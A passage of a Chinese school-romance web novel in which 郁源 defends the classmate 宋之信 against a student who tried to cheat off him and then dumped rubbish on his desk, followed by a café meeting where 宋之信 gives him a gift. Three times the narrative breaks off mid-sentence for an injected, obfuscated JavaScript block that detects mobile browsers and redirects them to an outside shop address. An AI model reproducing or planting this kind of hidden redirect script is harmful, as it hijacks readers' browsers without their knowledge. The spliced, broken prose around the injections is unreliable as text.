午休已过,临近开考,同学们陆陆续续往教学楼走。郁源烦闷未消,几步路里背上已浃满热汗,走廊上穿堂风一吹,继而渗出细细的凉意。 刚踏进教室,就撞见一个男同学在和宋之信说话。这男生吊儿郎当站着,笑得谄媚又邪气。 郁源脚下一滞,莫名觉得他眼熟,视线便在他的脸上多停留几秒。 宋之信背对自己,郁源看不见他是何表情。但这个角度能看见宋之信抬了一下眼镜,开口对那男生说了句什么。 对方的面色一僵,紧接着变得阴戾,伸腿踹歪了旁边的桌椅。 在尖锐的刮擦和碰撞声中,他指着宋之信,连骂几句不堪入耳的脏话,才朝教室门口走去。 周围的同学见状,都纷纷闪避。郁源站在原地没动,男生将要靠近教室门口,抬起头正与郁源对上视线。 郁源当然不怵,本来刚吵架完就憋屈,眼神十分冷淡。但出乎他的意料,竟是对方两腮绞紧,脸上的凶狠与强横有刹那的松动,嘴里不清不楚咕哝一句什么,率先低头绕过自己快步离开。 “……” 郁源惊讶地抬起眉毛,忍不住回了回头,这才去找宋之信。 经过中午与蒋汀的争吵,再次面对宋之信,郁源的心头有难以言喻的复杂。 可此刻却被更微妙的求知欲驱使,郁源抛却纠结,直接问:“宋之信,刚才是怎么回事?” “这傻逼是谁,为什么和你说话。” “郁源,我不认识他。”宋之信说,“他和我说,他知道我在竞赛班,理科成绩很好。” 郁源听见这句话,已经能猜出大概。又听宋之信继续说:“他问我,能不能在下午考试的时候,把答题卡放在课桌最边上,给他看几道选择题。” 郁源闻言,嗤笑一声:“果然傻逼。” “不过你放心。郁源,我已经严肃地拒绝了他。”宋之信推一下眼镜,缓缓道,“我还告诉他,作弊是非常错误并且可耻的行为,希望他能诚信考试,不要逾越底线。” “……”郁源放缓了呼吸:“宋之信,你真是这样说的?” 宋之信点头:“有什么问题吗,郁源?” 郁源不动声色看他好一会儿,才摇了摇头:“没有。你说得特别好。”须臾,又自言自语,“难怪破防成那样。” 想到下午要考的两门理科,哪怕全科统考难度相较于平时偏低,郁源也是一个头两个大。 再看宋之信,对此完全不以为意,简直是目空一切的超然。郁源难免羡慕嫉妒,磨着牙阴阳:“宋之信,我看下午的考试,会比上午还难熬,还让你闲得发慌吧。” “啊?”宋之信迷茫,“为什么这样说,郁源。” “我中午的时候还在想,”他若有所思,“数学和物理考试的草稿纸有两张,还更大。如果拿来练字的话……” “?” 郁源骤然抬眼。 “宋之信,你还要写?!” 14. 事发 “为什么,郁源?” 宋之信显然非常不解:“不是你让我……” “我让你什么?”生怕宋之信再度语出惊人,郁源连忙打断,“我让你写我名字了?” 他深吸一口气,强硬地命令:“宋之信,我的名字,你不许写了!” “……” 宋之信张了张嘴,镜片后的眼睛又半阖下来,但最终没有发出声音。 他的表情显而易见的失落和不高兴,好像是自己多么的不近人情。郁源别无他法,只能放软语气,干巴巴地补充:“……呃宋之信,我其实是这样想的。” “你的字本来就很好看。上午也已经把我的名字练得很好看,”郁源一咬牙,语气里带点不被觉察的无奈,“我……我很满意。” 郁源顿了顿,莫名感到如鲠在喉,酝酿一会儿,才说:“所以我觉得,你完全可以再做其他事情,没必要再写……我的名字。” 这招确有奇效,宋之信的神色稍虞,看来自己轻易地把他哄好。郁源正暗中松口气,宋之信抬一下眼镜,转而又问:“那郁源,如果我还是忍不住想看你……” “……你自己控制不住问我怎么办?!” 郁源瞪着他,额头上的青筋简直要蹦迪。他质问:“宋之信,你不是跟我保证过了吗?现在想出尔反尔是不是?” “我……” 宋之信刚吐出半个音节,很快就抿紧了唇,眼中的困惑融化成惶然和委屈,被镜片的反光一折,好像就要流泻而出。 “……”郁源蹙眉,一颗心像被轻拽一下,竟真的开始摇摆。 再怎么说,也是因为宋之信喜欢他,才控制不住想去看他。方式或许确实笨拙或许极端,但自己并没有非常讨厌,宋之信……也并没有什么真正的过错。 他沉默半晌,最终自暴自弃道: “行了行了。宋之信。” “你要看我,”郁源冷着脸,硬着头皮把话说完,“最好不要被我发现了!” “?” 宋之信怔一下,愣愣地抬头看他,眼睛因为错愕而微微地睁大了。 郁源才不管他是什么反应,自己宽宏大量,哪里需要宋之信感恩戴德。他错开视线,劈头盖脸撂下最后一句警告: “否则,你就准备后果自负吧!” - 实际上整个数学考试,郁源都没心思真去纠结宋之信有没有在看他。 最后的几道压轴题足以让他无力招架,郁源盯着空白的答题卡,一番焦头烂额后只剩下回天乏术的绝望,索性放弃挣扎,试卷翻回前页,心如止水地给没有把握的选择题抓阄。 “老师。” 一道声音很突兀的在教室里响起,意识到来自宋之信,郁源有些诧异,扭过头去看他。 宋之信语气很淡,脸上也没什么表情:“我后面的同学一直在踢我的椅子,严重影响了我的考试状态,请问您可以来制止吗。” 整个考场似乎彻底静了一瞬,连翻页的声音都无。坐在前面的监考老师起身,背着手走下讲台,皱眉道:“怎么回事?” 郁源再定睛,坐宋之信后面的不就是刚才那个收买宋之信不成破防辱骂的傻逼男生吗?此刻面色紧绷,表情已经极其难看。 监考老师走至男生的桌前,严厉地敲了两下桌面:“这位同学,请你专心考试,不要影响他人。”话音不轻不重,在教室里格外清楚。 说你两句就蓄意报复,什么烂人。郁源扯了扯嘴角,轻轻一声嗤笑,回过头懒得再关注。 转身的时候,余光里坐在教室后面的监考老师突然神情严肃地站起来,快步逼近男生。 “这位同学,你桌洞里面是不是有什么东西?”监考老师的低喝回荡在考场上空,“请拿出来!” 郁源没有再回头,只听见周遭一阵细碎的响动,随后是此起彼伏的惊叹。监控老师再从自己身边经过时,别在背后的手里多了一部手机。 - “你们考场怎么还有人作弊?” 蒋汀信守承诺,晚上大手一挥,带郁源跑去附中隔壁的美食街。两人之间升起蒸腾的热气,蒋汀埋头吃东西,含糊地说:“联考又不是特别难。” “谁要他自作孽不可活。”郁源抬起眼,“对了,广播通报的时候你注意听他名字了吗。” “没有啊,怎么了。”蒋汀问,“这种人,谁想在乎?” 郁源犹豫一会儿,报出一个名字:“就是他。这人你认识吗?初中是不是和我们一个学校的。” “?妈呀,”蒋汀的反应还挺大,“圆圆你是不是贵人多忘事啊?你和他曾经打过架的,这都能不记得了?” “?” 郁源回忆半天,未果,蒋汀又提醒:“你还记得初二的体育选修课吗?我们俩都选的排球。” “当时老师让我们练习嘛,结果这人特嚣张,到处使唤其他同学给他捡球不说,还一直逮着你叫娘炮,后面又故意趁着分组比赛拿球砸你。” 郁源什么脾气,这哪能忍?至于对方有意挑衅主动约架,刚到地方,郁源就直接把人撂了。 说是约架,实则对方根本没讨到半分好,被郁源揍了个鼻青脸肿连声讨饶。 本以为就此平息,不料竟遭恶人先告状,倒打一耙说郁源看不惯他体育课上出尽风头,因此怀恨在心。 幸而当时郁源的父母始终据理力争,好些上选修课的同学愿意站出来替郁源作证,此事浩浩荡荡闹了一阵,最终性质才从校园霸凌下降为私人冲突。郁源吃了个不咸不淡的处分,对方从此看见他就绕道走。 “我操!”郁源彻底回忆起来了,用力一拍桌子,“就这傻逼?他不是成绩差的没边吗?怎么来的我们附中?” “人家交了借读费,”蒋汀解释,“学籍还在其他地方挂着呢。” “不过圆圆,你突然问这干嘛呢?” 郁源斟酌一下,才说:“下午开考前,我们还刚好有对视。我觉得他有点眼熟。”他想了想:“当时看他那个反应,很明显还记得我。” 蒋汀听完,顿时幸灾乐祸:“诶呦我去。他的反应有这么明显吗?我看他不仅记得你,八成还对你心有余悸呢。” “哦。”郁源却只是平淡地应一声,突然问,“蒋汀。那你说这种人,报复心是不是很重?” “这你还要问啊?”蒋汀惊讶地抬起眉毛,顺口道,“怎么,你担心他会报复你?” 话说完蒋汀就皱眉,困惑地自言自语:“啧,也不对吧。你是会担心这个的人吗。” 郁源没有回答,蒋汀又说:“哎呀圆圆。报复你,他倒是敢吗?这种傻逼,明显欺软怕硬啊。” 郁源还是不说话,筷子戳一戳碗底,若有所思。蒋汀就说:“对了,他今天作弊怎么被发现的,是有人举报?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471558|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他观察郁源的神情,犹疑道,“……圆圆,不会就是你举报的吧。” “说什么呢!”郁源回过神,嫌弃地瞥他一眼,“我还没这个闲情逸致。” “也是。都考数学了,你哪有空管别人。”蒋汀揶揄,忽地想到什么,话锋一转,幽幽地叹口气,“唉不过……” “那个举报他的人,可能就要小点心咯。” - 晚饭后两人分开,去各自的考场参加晚自习。宋之信的后桌空了一整晚,几小时因此无事发生。 ——除了每次郁源余光一扫,都能发现宋之信在全神贯注地看他。 “……”郁源不禁懊恼,自己一时冲动如此纵容,结果就是像现在这样,宋之信得到默许,当然肆无忌惮。 下课铃声一响,整个教学楼霎时间沸反盈天,大部分同学早就按耐不住,背着书包冲向门口鱼贯而出。 郁源慢条斯理,几本错题册的摆放顺序来来回回地换,就是不能装进书包里。 磨蹭很久时间,桌面上终于投下一片沉暗的阴影。宋之信站在他跟前,郑重地推一推眼镜:“郁源,我要回家了,再见。” “哦。”郁源抬眼,漫不经心回一句,又低头继续整理。 桌面的阴影随即偏离。眼看着就要悄然挪远,郁源把宋之信叫住。 “宋之信,你晚上坐地铁回家?” 宋之信停下来,如实回答:“没有的,郁源。我家里安排了司机来接。” “……?”不是。 郁源语塞,顿觉自作多情,恍惚地闭了下眼睛。但思及附中放学时分有交通管制,两百米内车辆禁停,还是别扭地说出口:“那……宋之信,回家路上注意安全。” 宋之信愣了一下,镜片后的眼睛倏地亮起来,才讷讷地对他说谢谢。郁源不自在地垂眼,干脆装作没有听见。 宋之信离开过了好几分钟,郁源才收拾完东西,踱步出教室。教学楼内喧嚷渐歇,走廊里人影三三两两,已趋于稀疏。 思忖片刻,郁源拐进卫生间,掏出手机,打开和宋之信的聊天框,编辑:【宋之信,安全到家的话,就给我发个消息。】 屏幕的光映亮他沉沉的眉眼,郁源点击发送,把手机扔进外套兜里。 随后走向盥洗台,拧开水龙头,郁源揽过一把水流,稀里哗啦往自己脸上扑。 烦死了烦死了烦死了。郁源把脸埋进冰凉的掌心,长而缓地叹一口气。 自己能不能少管宋之信的闲事? - 回家后,收到宋之信的答复和例行晚安。郁源得以松口气,整晚的担忧看来略显多余,一切风平浪静。 郁源补回昨天没睡成的懒觉,翌日早,重获神清气爽。 慢慢悠悠走到考场门口,郁源一抬眼,就见宋之信座位的附近,竟然聚集了不少同学。 心里突生微妙的预感,郁源快步走向人群,先发现宋之信。他背对自己站在座位旁边,还没来得及卸下书包,应该也刚到不久。 郁源本想先和宋之信打声招呼,正要开口,一股腐败的酸臭蓦地涌进鼻腔。 “……”郁源拧了眉毛,喉咙如同被攫住,话音重重回落,险些坠进胃里。 他强忍恶心,拨开宋之信旁边的几位掩住口鼻的同学,很快得知酸臭散发的原因。 ——宋之信的桌上乃至桌洞,都被人塞满了垃圾。 15. 感谢 “宋之信,怎么回事?” “我不知道。” 宋之信听见郁源的声音,方才缓慢地别过脸:“我来的时候就是这样。” “……”郁源猛地抬眼,几乎是下意识看向宋之信的后桌。男生一动不动趴着,校服外套盖住脑袋,似乎在补觉。 郁源眉头紧锁,正要上前质问,宋之信又说:“郁源,你的课桌可以给我暂时放一下书包吗。” “?” 郁源骤然看向他:“你要干什么?宋之信。” “我去杂物间,拿工具清理一下。”宋之信的面色平静,口吻也实在平静,平静到冷漠,让郁源感到前所未有的陌生。 或许是没有得到郁源的允诺,宋之信说完,兀自抬一下眼镜,转身就朝杂物间教室前方的杂物间走。 “宋之信!” 郁源站在原地,压低声音叫宋之信的名字,但没能把他喊住。他咬一咬牙,迈腿跟上宋之信,一路追着进了杂物间。 宋之信已经在挑选合适的扫帚,郁源迈步上前,顾不得思考太多,直接握住他的手腕,急切地开口:“宋之信,为什么是你来清理?” “郁源,是我的座位被弄脏了,”宋之信看着他,语气纹丝不乱,好像所做的事情完全是应然,“我不清理,还有谁会清理。” 郁源只觉得呼吸滞塞,胸口压抑而错乱的起伏。他仰起脸,与宋之信四目相对,一字一句:“当然是谁弄脏的谁清理。” 宋之信还要动,手腕就被郁源握得更紧。他的桡骨很硬,即使被皮肉包裹,此刻烙进郁源的手心,依旧带来一些钝重而沉闷的痛感。 两人就这样僵持不下,过半晌,宋之信才缓缓说:“可是郁源,我也不知道是谁干的。” “你不知道吗?” 郁源一怔,嗓音有些干涩。他咬住嘴唇,又说:“宋之信,这明显是恶意报复。这个考场谁会恶意报复你,你真的不知道吗?” 宋之信摇头:“我不知道。” “你的后桌。”郁源就直接告诉他,“就是昨天找你想要作弊,考试时又骚扰你的人,我这样说了,你还不知道吗?” 出乎意料的,宋之信的神情表现得很讶异,语气终于有了波动:“原来他们是同一个人。” “……” 郁源的指节发颤,望向宋之信的瞳孔因迷茫而闪动。 气氛就这样重新陷入沉默,沉默,让郁源突然感到束手无策,以至都不知如何打破。杂物间内昏暗,又有些潮湿阴冷,光线从唯一的悬窗刺进,照亮他们周身浮动的细小灰尘。 “郁源。” 过了好一会儿,竟是宋之信主动开口:“反正像这样的事情也不是第一次发生。所以,是谁做的也没有那么重要。” 他垂眼:“可能因为喜欢做这种事情的,本来也不是一两个人。这次是这个,下次是另一个,没有人会主动承认。我不知道是谁,干脆自己处理好,反正也并不是特别麻烦。” “……” 郁源始终缄口不言。 片刻,缓缓松开他。 他说:“宋之信,你等我一下。” 说罢便转身,头也不回出了杂物间。 随即快步走向宋之信的后桌,郁源居高临下,用力叩了叩桌面,高声道:“我还是认为,这张课桌谁弄脏的谁去清理。给你五分钟时间,立刻去收拾好,听得明白吗。” 男生置若罔闻,躲在校服外套里,好像真的睡得很沉。郁源又冷笑,这次先叫了他的名字,再说:“怂货。你别和之前一样,惹上事了还是喜欢敢做不敢当啊?” 哗啦——!!! 下一秒,男生掀开校服拍桌而起,抬腿直踹课桌!郁源有所预料,虽及时闪身,侧腰依旧被桌角狠撞一下。 “……” 郁源深拧眉毛,剧痛中没退半分,利落躲过对方迎面而来的一记肘击,随即迅速逼近,一把揪住对方衣领,把他重重推在墙面上! 男生的后脑砸在墙面发出钝响,周围又是一阵惊呼,聚拢的人群仓皇四散。 对方表情狰狞,抓住郁源的手臂想要挣脱,被郁源死死地锁住颈项,一截咽喉丑陋地蠕动,只冒出几句破碎不堪的咒骂。 郁源面色凛冽,把他往墙上又摁实了:“想打架?我倒是愿意奉陪。” “但最后别怪我没有提醒你。” 他抬起下巴,毫不避讳地瞥一眼后墙角上的监控:“附中教室的监控二十四小时都开着。” “你昨天作弊刚被通报批评,今天就和我打架寻衅滋事。” “我可巴不得再闹大点,正好让学校顺藤摸瓜翻出你往别人座位倒垃圾的监控录像。跟你几年前污蔑我可不一样,这是板上钉钉的校园霸凌。” 郁源轻描淡写,竟朝他笑了一下:“我呢,反正跟你打一架,最多定性为冲动替同学出头,像那时候一样,背个无伤大雅的处分。” “那你呢。要不要来猜一猜,我们学校敢不敢劝退一个五毒俱全的借读生?” 男生瞪圆了眼,咬紧后槽牙,抓住郁源小臂的手失控地颤抖。郁源继续说: “我已经替你分析过利弊了吧?我说了,我其实很乐意跟你打一架的。只是打这一架,对你可没有半点好处。你自己想清楚。” “……” 男生双目泛着猩红,呼吸越来越急促。半晌,骤然脱力般,放下了钳制郁源的手。 “所以现在,在监考老师来之前,”郁源的语气不容置喙,“去给我收拾干净。” 他想到什么,继而补充:“这味道散不掉,就请麻烦你和他的课桌调换一下。自己忍一忍,没问题吧?” 郁源放开他,最后再掷给他一个警告的眼神,转身就走。情绪各异的视线从四面八方投来,混乱而嘈杂的私语逐渐包围他,郁源皱着眉,愈发感到烦躁。 宋之信不知道什么时候已从杂物间里出来,站在门口,视线越过人与人之间的缝隙,定定落在郁源身上。郁源走近了,才发现他的眸光沉沉,竟有些失神。 郁源到宋之信跟前,方才凌厉的气焰还未散尽。他颔首,带着迁怒,冷冷地睨过去: “宋之信,你看什么看?” 宋之信如梦初醒,目光重新聚焦。他推一下眼镜,依旧不错眼地盯着郁源,呓语般地,小声说: “你好……漂亮。” 他的语气平缓,板正,不像赞美不像感叹,甚至不包裹谢意,只作直白纯粹的陈述。郁源下意识屏住呼吸,失序的心跳悬置一瞬,浑身张牙舞爪的尖刺都柔软下来。 几秒后,才很不耐烦地啧过一声,别开脸:“宋之信,到外面拿个椅子,等会儿先坐我旁边。别傻站在杂物间门口挡路了!” - “宋之信。哎呀。” 蒋汀托着下巴,望向对座的祝雨澄,幽幽感慨:“澄姐,你说他是不是命好?” 祝雨澄瞥了眼坐自己旁边的郁源,尴尬地笑一下,并不说话。 净会见风使舵!蒋汀鄙夷地瞪着她,又恢复轻佻的语气,自顾自唱独角戏: “没有我们亲爱的圆圆,宋之信到底去哪能找着这样一个,被欺负了当场替他伸张正义,最后还不依不饶要了监控录像告上教务办的人啊。” “这个宋之信,该被你迷死了吧?” “就算不是宋之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471559|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,我也不会坐视不理的。” 郁源窝在祝雨澄旁边,闻言白他一眼,视线很快回到自己的手机上。宋之信最新的消息发送于三分钟前:【谢谢你,郁源。】 【哥哥告诉我,是有同学向老师检举,那个人昨天晚上才被主任带着过来给我道歉的。】 “……” 郁源的眉眼不自觉弯一弯,回复他:【宋之信,怎么这个时候就知道,检举的同学是我了?】 【不过宋之信,这次说谢谢可不够了。】 他稍稍思忖,随后轻快地打字:【要不你现在就想一想吧。】 郁源:【宋之信,你应该怎么感谢我?】 “……” 蒋汀坐在郁源对面,一切尽收眼底,简直没话说了,桌上摆的炸鸡薯条都吃不下去。 郁源唯二能用微信经常联系的朋友就坐在这里,用脚都能猜出此时跟他聊天的人是谁,蒋汀和祝雨澄对视一眼,扶着额头恨铁不成钢,差点想要找把糯米洒他脸上。 幸而理智尚存,蒋汀猛吸一大口冰可乐,堪堪按耐冲动,干咳几声继续说下去: “哈哈,这傻逼平时就不干人事,现在终于被劝退了。他的同班同学我就认识好几个,全都在说普天同庆大快人心。” “谁说收了借读费就不能滚蛋啊?还得多亏了郁源送上致命一击。” “……啊?” 郁源还在等宋之信的回复,刚好听见这句,便有些诧异,顿了几秒才开口:“还真被劝退了?” “你是最关键的一环呢,怎么连结局都不知道?”蒋汀挑眉看他,“是啊。那傻逼今天上午就过来,收拾完所有东西走人了。” “这么快?”祝雨澄也惊讶,“附中的借读费也不是谁都有资格交的吧,他家里按理来说……也有关系能打点,没想到这次学校处理起来还挺干脆。” “本来校园霸凌的性质就很恶劣,”蒋汀耸肩,“而且我听他班上的同学说了……” 眼看郁源心不在焉,又开始有意无意把眼睛黏他那个手机屏幕上,蒋汀颇为不满地撇嘴,突然狂躁起来,抑扬顿挫道: “好像是被他霸凌的人也就是宋之信!他家里出面介入了!态度特别强硬,必须让他哪里来滚哪里去。” 郁源猝不及防,再次从蒋汀嘴里听见宋之信的名字,险些没拿稳手机:“宋之信怎么了?谁让他哪里来滚哪里去?” “。” 蒋汀翻个白眼,露出果不其然的表情。他摊开手,冷笑一声:“宋之信还能怎么了?不正跟你聊着么,你要不现在问问他本人吧。” “……”郁源被他戳穿,恼羞成怒地拉下脸,但不屑于再浪费时间与蒋汀争辩,索性把头直接埋了回去。 一垂眼,看见宋之信刚刚发来的消息。大脑还没来得及反应,郁源重蹈覆辙,又率先把手机摁灭了。 而后冷静好几秒,郁源重新打开手机,愣愣地望着屏幕不说话。 “……你这是什么表情。”蒋汀见他面色凝固,一双眼睛却有流动的神采,顿时纳闷,试探道,“宋之信跟你表白了?” 郁源不置可否,把手机放在桌上,正襟危坐:“我要跟你们说一件事。”两人忙不迭调整姿势,露出洗耳恭听的神色。 “为了感谢我,这周末,”郁源深呼一口气,对他们大声宣布,“宋之信要请我吃饭!” “啊?” 蒋汀一头雾水:“吃个饭而已,这有什么好说的。” “啊?” 祝雨澄大惊失色:“圆圆,你和宋之信,你们……”她欲言又止半晌,还是说出来: “你们这……算不算是约会啊?” 16. 约会 “瞎说什么呢!” 郁源猛地后仰,朝她张牙舞爪:“我刚才都说宋之信只是想感谢我了!” 他眨眼,耳廓飞上两片绯云,捂住脸语无伦次道:“啊啊,我们就是普通朋友,吃个饭而已,才!才不是什么约会呢。” 郁源的反应实在过度,鲜少有这样自乱阵脚的时刻,祝雨澄被吓一跳,倒是蒋汀嗤笑了声,没给他留情面:“普通朋友?” “你和宋之信算哪门子普通朋友。普通朋友可不能把你约出门。” 祝雨澄听得云山雾罩,但总归意识到另有隐情,于是横插一脚:“郁源,你和宋之信还发生了什么事?” “我们还能有什么事!”郁源看向她,理直气壮,“当然就这一件!” “郁源你少掐头去尾!”蒋汀开口就是石破天惊,“他考试的时候在草稿纸上写你名字你怎么不说?你扑上去捂他嘴怎么不说?这还只是我撞见的!” “……”这段话信息量极大,祝雨澄倒吸一口气:“天哪。” 蒋汀对此颇有怨言,抱起双臂:“郁源,你连是宋之信把人家举报的都刻意瞒着我,谁知道你们现在发展到哪一步。” “我没有刻意瞒着!”郁源叫嚷,“只是觉得没必要跟你说。” “行。我们不谈这个。”蒋汀懒得和他扯,“先回归正题。” “你们俩要相处好几个小时,宋之信喜欢你,你又对他……于心不忍。”蒋汀往椅背一靠,“圆圆,这还不算约会吗?我看宋之信蓄谋已久,想一举拿下你!” “……都说了不是约会了!”郁源百口莫辩,顿时觉得疲惫,“别把那么简单的事情想复杂。” 他想了想,煞有介事地补充:“宋之信这个人很单纯的。他说感谢,那就是感谢。” “圆圆。” 祝雨澄微微讶异:“你什么时候这么了解宋之信?关于宋之信的事情,上次还要听我说呢。” 郁源就沉默了,甚至不去看她。气氛霎时间变得微妙,直到蒋汀突兀地一哂,单手支起下巴:“我实在是想不明白了,郁源。” “你当时说的理想型标准,成绩好,人品好,长得帅……我就当宋之信确实符合前两点。” 他抬眉,有意拖长语调:“但论你的在意程度,第三个条件,不应该具有一票否决权?” “为什么要给宋之信开绿灯。宋之信论长相,也就勉强算个周正,但他的成绩和人品是好到让你忽略了最原则性的条件吗,郁源。” 够了,郁源完全无法忍受他极具偏见的抹黑,终于开口:“你什么意思,蒋汀?” “你觉得,最开始我为什么会对宋之信一再宽容?”郁源用力拍桌,“你在质疑我的审美吗?” “我当然没这个意思。”蒋汀摊开手,“我只是想提醒你。或许就存在你看走眼的可能,郁源。” 郁源哑然,蒋汀索性把话说完:“圆圆。他是竞赛天才,你就慕强。你觉得他笨,就默许他继续犯蠢。你觉得他可怜,就产生同情还好几次施以援手。” 郁源不再说话,在对方如此缜密的天罗地网面前似乎要无处遁形,执拗地别开了脸。蒋汀却倾身,追上他闪躲的目光: “郁源,你给宋之信加上几层滤镜,当然就下意识美化他,以至于忽略他根本的缺陷。” “那就是宋之信,或许其实没有你以为的这么好看。” - 宋之信:【郁源,我已经到门口了。】 宋之信:【请问现在可以进来吗?】 郁源看着手机上宋之信发来的消息,随后抬头,望向不远处卡座里的两位狐朋狗友。 二人并排挤在一张小沙发里,简直四眼放光,俨然准备吃瓜看戏。 郁源恶狠狠地威胁:“等会儿你俩要是冒出什么不应该的死动静,就全都给我等着!” 二人忙不迭点头。 “……” 郁源扶额,深呼一口气,对前几天被蒋汀激将而冲动答应让他俩旁观的决定悔不当初。 眼不见为净,他低头,给宋之信编辑回复:【你是顾客呢,宋之信^_^】 郁源:【怎么进来还要征求我的意见?】 随后把手机揣口袋里,对着墙上的镜子最后检查一遍发型,快步朝门口走去。 头顶风铃摇晃,郁源拉开店门,在细碎清脆的响声中和宋之信对上视线。宋之信愣了一瞬,很快叫他:“……郁源。下午好。” 耳边的叮叮当当还未消散,郁源朝他勾一勾唇:“下午好。” 短短的几秒内,郁源已快速打量宋之信一番。着装不必多说,照样过时又昂贵,某种程度上也算是另类老钱风。 郁源视线下移,发现宋之信并非空手前来,而是提着一只不小的纸袋,边角被撑得很规整。 这倒让郁源感到意外,毕竟宋之信并不像是会想到要准备礼物的人。 他撩起眼,转身朝店内走,口吻轻快地调侃:“宋之信,又不是来我家。怎么看你的样子,好像还打算敲门再进来呢?”宋之信并不回应,只讷讷地跟在他身后。 郁源挑选的位置在落地窗旁,视野开阔,侧目即是一片明亮而繁华的街景。 他示意宋之信坐下,递去菜单:“宋之信,喜欢什么随便点就好。晚饭你请的话,下午茶就算我的。” 宋之信接过,郁源又颇为善解人意地补充:“如果选择困难,我可以给你作推荐。”话音刚落,菜单就被原封不动送回郁源手中。 他问过宋之信的意见和偏好,挑选完甜点饮品,拿起手机在小程序上点单。 再度抬头,宋之信在自己对面坐得板正,肩背挺直,双手也拘谨地放在腿上,很是乖巧很是顺从,目不转睛地盯着自己看。 心里像被羽毛轻轻一挠,郁源托腮,弯起眼睛:“宋之信,感觉你现在好像很紧张呢?” “就没有什么话想对我说吗?” “……”宋之信支支吾吾,隔了会儿才说,“郁源,你今天真好看。” 郁源闻言,轻而短地哼笑起来:“宋之信,说点我不知道的。” 宋之信一怔,表情瞬间变得空白。郁源撇嘴,索性跳过话题,问他:“宋之信,怎么还带了东西过来。” “哦。”宋之信便解释,“郁源,这是给你的礼物。” 郁源挑眉:“礼物?” “嗯。是我的哥哥姐姐提议的。” 宋之信说:“我告诉他们,你是我的朋友。不仅……替我出头,还带我通过了交际舞补考。哥哥姐姐特地说了,一定要表达对你的感谢。” 他把放在身侧的纸袋摆上桌面,郑重其事:“他们还让我传达,希望你能喜欢,也不要有负担。” 余光里,蒋汀和祝雨澄双双伸长脖子,如饥似渴地朝他们看,就差直接站起来。郁源却一动不动,坦然自若地对宋之信说:“是吗。真的非常谢谢你,也谢谢你的哥哥姐姐。” 他的眼珠一转,脸上笑意再浓几分:“宋之信,那麻烦你现在就替我拆开它吧,我都迫不及待想知道了。” “哦…哦。” 宋之信点头,又从纸袋里拿出一个包裹精致的礼盒,花了些功夫,才很笨拙地解开系成蝴蝶结的丝带。 他把礼盒打开,郁源一垂眼,顿时怔住,表情凝固在脸上。 礼盒里是一双鞋。样式郁源已经是不能再熟悉,正是他攒了几个月零花钱才买下的那双鞋的同款。 ——区别在于,鞋盒里这双是异色,全球限量发行,上市即告罄,导致入价也直接翻倍。 “?” 郁源瞪大眼睛,难以置信地看着他,宋之信却语气如常:“挑选礼物的时候,我和他们说,交际舞补考那次,我把你的鞋踩脏了。” “哥哥说,那正好再送你一双。姐姐说,没必要送一样的,换个色才有心意。”宋之信抬了下眼镜,认真地问他,“郁源,你喜欢吗?” “这个…宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471560|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之信,”郁源被狠狠噎一下,“这双鞋,我是觉得,主要它实在有点太……”郁源欲言又止,一句“太贵重”怎么也不适合明说。 “哦。” 宋之信显然没有听懂他的言外之意,直接再问一遍:“那你喜欢吗?” “……” 郁源险些咬到自己的舌头,过了半晌,才犹疑着说:“……喜欢。” 宋之信笃定地说:“喜欢,那就收下。”他伸手,把礼盒往郁源的方向推了推。 郁源抱着礼盒,愈发觉得面颊生烫,他飞快地把礼盒盖上,视线投向落地窗外。 好一会儿,郁源堪堪平复情绪。思及另一桩必须即刻澄清的要事,他深呼口气,若无其事地转回目光:“宋之信,眼镜度数特别高吗?” “没有。”宋之信说。 “……可以麻烦你摘一下吗?”郁源说,“我突然好奇,你不戴眼镜是什么样子。毕竟还只见过一次。” “哦。” 宋之信没有多问,听话照做。 他把眼镜取下来,还没对折镜腿妥帖收好,郁源又说:“宋之信,额头前面的刘海可以稍微翻上去吗?这样眼睛有点遮住了。” 宋之信依旧不明所以,慢半拍地应下,抬手拨弄自己的额发。但效果甚微,郁源没多少耐心,伸出手覆上他的额头,把他的头发撩起。 郁源并不贴实,虚虚地拢着,隔出寸余距离。宋之信既没躲,也没面露任何局促不安,五官失去遮挡,再次在郁源眼前完整显现。 与宋之信内敛沉实的气质不同,他是很锋利且极具压迫感的骨相,浓眉深目,高鼻薄唇,幸而略微下垂的眼尾中和了攻击性,瞳孔漆黑而透亮,专注地倒映出自己的轮廓。 “……” 郁源和他定定对视,呼吸下意识停滞,继几个月前和宋之信相撞的瞬间后,终于又体会到那种惊心动魄的感觉。 身侧手机振动几声,随即疯狂地响起消息提醒,叮咚叮咚。郁源回神,对他说: “宋之信,我关一下消息提醒。” 